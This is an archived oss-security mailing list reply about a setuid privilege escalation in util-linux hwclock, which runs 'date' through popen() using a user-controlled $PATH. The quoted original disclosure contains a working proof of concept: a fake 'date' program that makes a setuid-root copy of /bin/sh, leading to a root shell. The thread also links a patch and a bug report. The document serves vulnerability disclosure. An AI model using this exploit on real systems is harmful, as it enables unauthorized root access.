Follow @Openwall on Twitter for new release announcements and other news
[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Tue, 26 May 2015 09:19:13 -0400
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Re: hwclock(8) SUID privilege escalation

It’s not setuid root on my Ubuntu system.

larry@...p:~$ which hwclock
/sbin/hwclock
larry@...p:~$ ls -l /sbin/hwclock 
-rwxr-xr-x 1 root root 46764 Feb 12 13:54 /sbin/hwclock
larry@...p:~$ uname -a
Linux meep 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:18 UTC 2015 i686 i686 i686 GNU/Linux
larry@...p:~$ cat /etc/issue
Ubuntu 14.04.2 LTS \n \l




> On May 26, 2015, at 6:47 AM, up201407890@...nos.dcc.fc.up.pt wrote:
> 
> Hello,
> 
> During a recent assessment I have stumbled across a system which had
> hwclock(8) setuid root
> 
> hwclock is a part of util-linux, all versions affected
> 
> $ man hwclock | sed -n '223,231p'
> 
> Users access and setuid
>       Sometimes, you need to install hwclock setuid root. If you
> want users other than the superuser to be able to display the clock
> value using the direct ISA I/O
>       method,  install  it setuid root. If you have the /dev/rtc
> interface on your system or are on a non-ISA system, there's probably
> no need for users to use the
>       direct ISA I/O method, so don't bother.
> 
>       In any case, hwclock will not allow you to set anything unless
> you have the superuser real uid.  (This  is  restriction  is  not
> necessary  if  you  haven't
>       installed setuid root, but it's there for now).
> 
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041
> 
> "The program is designed to run setuid superuser, since we need to be able
> to do direct I/O. (More to the point: we need permission to execute the
> iopl() system call). (However, if you use one of the methods other than
> direct ISA I/O to access the clock, no setuid is required)."
> 
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920
> 
> "program is designed to run setuid (in some situations)"
> 
> 
> Some comments in code and unfortunately also man page
> advertising that setuid is no problem. That's pretty stupid promise.
> 
> 
> from util-linux/2.26.2-5/sys-utils/hwclock.c
> http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748
> 
> 
> /* Quotes in date_opt would ruin the date command we construct. */
>        if (strchr(date_opt, '"') != NULL) {
>                warnx(_
>                      ("The value of the --date option is not a valid date.\n"
>                       "In particular, it contains quotation marks."));
>                return 12;
>        }
> 
>        sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s",
>                date_opt);
> 				[...]
> 
> 	date_child_fp = popen(date_command, "r");
> 
> 				[...]
> 
> hwclock uses popen() to date_command which is 'date --date=\"%s\"
> +seconds-into-epoch=%%s'
> 
> Exploiting is trivial, since $PATH is user-controlled
> 
> 
> 
> $ ls -l /usr/sbin/hwclock
> -rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock
> $ cat > date.c;gcc date.c -o date
> main()
> {
> chown("/tmp/sploit", 0, 0);
> chmod("/tmp/sploit", 04755);
> }
> ^D
> $ cp /bin/sh /tmp/sploit
> $ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37"
> hwclock: The date command issued by hwclock returned unexpected results.
> The command was:
>  date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s
> The response was:
> 
> hwclock: No usable set-to time.  Cannot set clock.
> $ /tmp/sploit
> # id
> euid=0(root) groups=0(root)
> 
> 
> Can a CVE be assigned?
> 
> 
> Notes:
> 
> Please note that this is possible on Debian-derived (and therefore Ubuntu),
> because /bin/sh is provided by dash which does NOT make use
> of privmode (does not drop privileges if ruid != euid, unlike bash),
> which is a very stupid idea.
> 
> privmode is surprisingly effective at mitigating some common vulnerability
> classes and misconfigurations, and it has been around since mid 90's.
> Indeed, Chet Ramey (bash author and maintainer) explains that the
> purpose of this is to prevent "bogus system(3)/popen(3) calls in
> setuid executables"
> 
> 
> TL;DR: When setuid root, hwclock relies on $PATH to popen() the date
> command, meaning privilege escalation can occur since $PATH is
> user-controlled.
> 
> 
> Patches are available, signed off by Karel Zak <kzak@...hat.com>
> https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1
> 
> Initial bug report:
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804
> 
> 
> Thanks,
> Federico Bento.
> 
> ----------------------------------------------------------------
> This message was sent using IMP, the Internet Messaging Program.
> 

Powered by blists - more mailing lists

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.